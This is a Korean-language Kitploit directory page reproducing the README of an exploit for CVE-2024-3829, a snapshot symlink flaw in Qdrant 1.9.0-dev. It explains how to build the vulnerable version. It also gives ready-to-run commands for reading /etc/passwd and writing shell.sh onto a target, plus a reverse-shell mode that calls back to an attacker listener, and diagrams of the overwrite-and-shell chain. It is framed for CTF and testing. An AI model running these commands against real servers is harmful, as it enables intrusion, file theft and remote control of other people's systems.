Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-3829 — CVE-2024-3829 | Kitploit
도구/GitHubGitHub/fabse-hack/cve-2024-3829
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingPayload Development
GitHubfabse-hack/cve-2024-3829

CVE-2024-3829

CVE-2024-3829

저장소 보기
11개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-3829 for Qdrant - 익스플로잇

root@kitploit:~
 ########################### THIS IS AN EXPLOIT FOR CVE-2024-3829 IN QDRANT 1.9.0-dev ###########################  
 _______  __   __  _______         _______  _______  _______  _   ___         _______   _____   _______  _______   
|       ||  | |  ||       |       |       ||  _    ||       || | |   |       |       | |  _  | |       ||  _    |  
|       ||  |_|  ||    ___| ____  |____   || | |   ||____   || |_|   | ____  |___    | | |_| | |____   || | |   |  
|       ||       ||   |___ |____|  ____|  || | |   | ____|  ||       ||____|  ___|   ||   _   | ____|  || |_|   |  
|      _||       ||    ___|       | ______|| |_|   || ______||___    |       |___    ||  | |  || ______||___    |  
|     |_  |     | |   |___        | |_____ |       || |_____     |   |        ___|   ||  |_|  || |_____     |   |  
|_______|  |___|  |_______|       |_______||_______||_______|    |___|       |_______||_______||_______|    |___|  
  
 ############################################### by fabse-hack.de ###############################################  

이 저장소는 qdrant/qdrant (v1.9.0-dev) 에 대한 CVE-2024-3829를 문서화하고 시연합니다.

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-3829
  • 이 저장소에 대한 추가 정보 및 아이디어:
  • Huntr: https://huntr.com/bounties/abd9c906-75ee-4d84-b76d-ce1386401e08
  • incibe: https://www.incibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2024-3584
  • GitHub: https://github.com/qdrant/qdrant/commit/15479a45ffa3b955485ae516696f7e933a8cce8a

지원 및 기부

Paypal:

Buy Me a Coffee:

개요

이 취약점은 심볼릭 링크/경로 트릭을 통해 스냅샷 아카이브를 조작할 수 있습니다. 이를 통해 두 가지 영향 클래스와 리버스 쉘(하하하)이 가능합니다:

  1. 파일 읽기
  2. 파일 쓰기
  3. 리버스 쉘 실행

환경에 따라 파일 쓰기 프리미티브가 코드 실행으로 이어질 수 있습니다.

영향을 받는 소프트웨어 (NVD 링크 참조)

  • 제품: Qdrant
  • 버전: 1.9.0-dev
  • 구성 요소: 스냅샷 가져오기/내보내기

버전 번호 참고:

이 버전은 더 이상 월드 와이드 웹(일부 사람들은 "인터넷"이라고 부름)에서 사용할 수 없습니다.
qdrant 저장소에서 NVD Nist 보고서는 해당 커밋을 가리키며, 그것이 취약한 v1.9.0-dev입니다.
CTF나 기타 목적으로 이 버전을 도커에 설치하려면 다음을 사용하세요:

root@kitploit:~
git clone https://github.com/qdrant/qdrant.git
cd qdrant
git checkout 15479a45ffa3b955485ae516696f7e933a8cce8a^
docker build -t qdrant:1.9.0-dev-vuln .
docker run -p 6333:6333 qdrant:1.9.0-dev-vuln

워크플로우 (간략)

  1. 컬렉션 생성
  2. 스냅샷 생성
  3. 스냅샷을 로컬에서 압축 풀고 수정
  4. 아카이브에 심볼릭 링크 삽입 읽기/쓰기 대상
  5. 수정된 스냅샷 업로드
  6. 스냅샷 복구 트리거
  7. 결과 평가 파일 내용 읽기 / 파일 쓰기 / 리버스 쉘 실행

저장소 내용

  • cve_2024_3829.py - 읽기/쓰기/트리거 워크플로우용 익스플로잇
  • requirements.txt - Python 종속성

요구 사항

  • Kali Linux 시스템 권장
  • Python 3.10+
  • 실행 중인 Qdrant 서버 로컬 테스트용
  • Python 패키지 requests

설치:

root@kitploit:~
python3 -m pip install -r requirements.txt

사용법

모든 옵션 보기:

root@kitploit:~
python3 cve_2024_3829.py -h

예시:

root@kitploit:~
# 읽기 모드
python3 cve_2024_3829.py -m read -tu http://target_ip -tp <target_port> -tpath /etc/ -tf passwd

# 쓰기 모드
python3 cve_2024_3829.py -m write -tu http://target_ip -tp <target_port> -tpath /tmp/ -apath /tmp/ -af shell.sh

# 리버스 쉘 모드
python3 cve_2024_3829.py -m reverse_shell -tu http://target_ip -tp <target_port> -ai <listener_ip> -ap <listener_port>

사용 가능한 매개변수

  • -h, --help: CLI 도움말 표시
  • -m, --mode: read, write, reverse_shell 중 하나 (필수)
    대상 매개변수:
  • -tu, --target_url: Qdrant 기본 URL (스크립트 내 기본값)
  • -tp, --target_port: 대상 Qdrant 포트 (기본값: 6333)
  • -tpath, --target_path: 원격 대상 경로 (기본값: /etc/)

참고 사항

  1. --target_url은 --target_port를 별도로 전달하는 경우 후행 포트 없이 기본 URL이어야 합니다. 스크립트가 <url>:<target_port>/... 형식으로 URL을 생성하기 때문입니다.
  2. read 모드에서 스크립트는 --target_path와 --target_file_name을 결합합니다 (예: /etc/ + passwd).
  3. write 모드에서 --attacker_path는 존재하는 로컬 파일을 가리켜야 하며 --attacker_file_name은 원격 파일 이름을 정의합니다.
  4. Docker/WSL/호스트 경계를 넘는 네트워크 테스트의 경우, 트리거 모드를 실행하기 전에 먼저 연결 가능성을 확인하세요 (예: netcat 사용).
root@kitploit:~
sequenceDiagram
    participant Attacker
    participant Exploit
    participant Target
    participant Listener

    Attacker->>Exploit: Start exploit script
    Exploit->>Listener: Start TCP listener
    Exploit->>Target: Create malicious collection
    Exploit->>Target: Upload trigger script
    Exploit->>Target: Overwrite executable
    Exploit->>Target: Call /stacktrace endpoint
    Target->>Listener: Reverse shell connection
    Listener->>Attacker: Interactive shell access
root@kitploit:~
flowchart TD
    Start[Start Listener]
    Bind[Bind to attacker port]
    Listen[Wait for connection]
    Accept[Accept incoming connection]
    Interactive[Interactive shell session]
    End[Connection closed]

    Start --> Bind
    Bind --> Listen
    Listen --> Accept
    Accept --> Interactive
    Interactive --> End
도구 다운로드
  • -tf, --target_file_name: 원격 대상 파일 이름 (기본값: passwd)
    공격자 매개변수:
  • -ai, --attacker_ip: 리버스 쉘 모드용 콜백/리스너 IP
  • -ap, --attacker_port: 콜백/리스너 포트 (기본값: 9001)
  • -apath, --attacker_path: 쓰기 모드용 로컬 공격자 파일 경로 (기본값: /tmp/)
  • -af, --attacker_file_name: 쓰기 모드에서 대상에 사용되는 파일 이름 (기본값: shell.sh)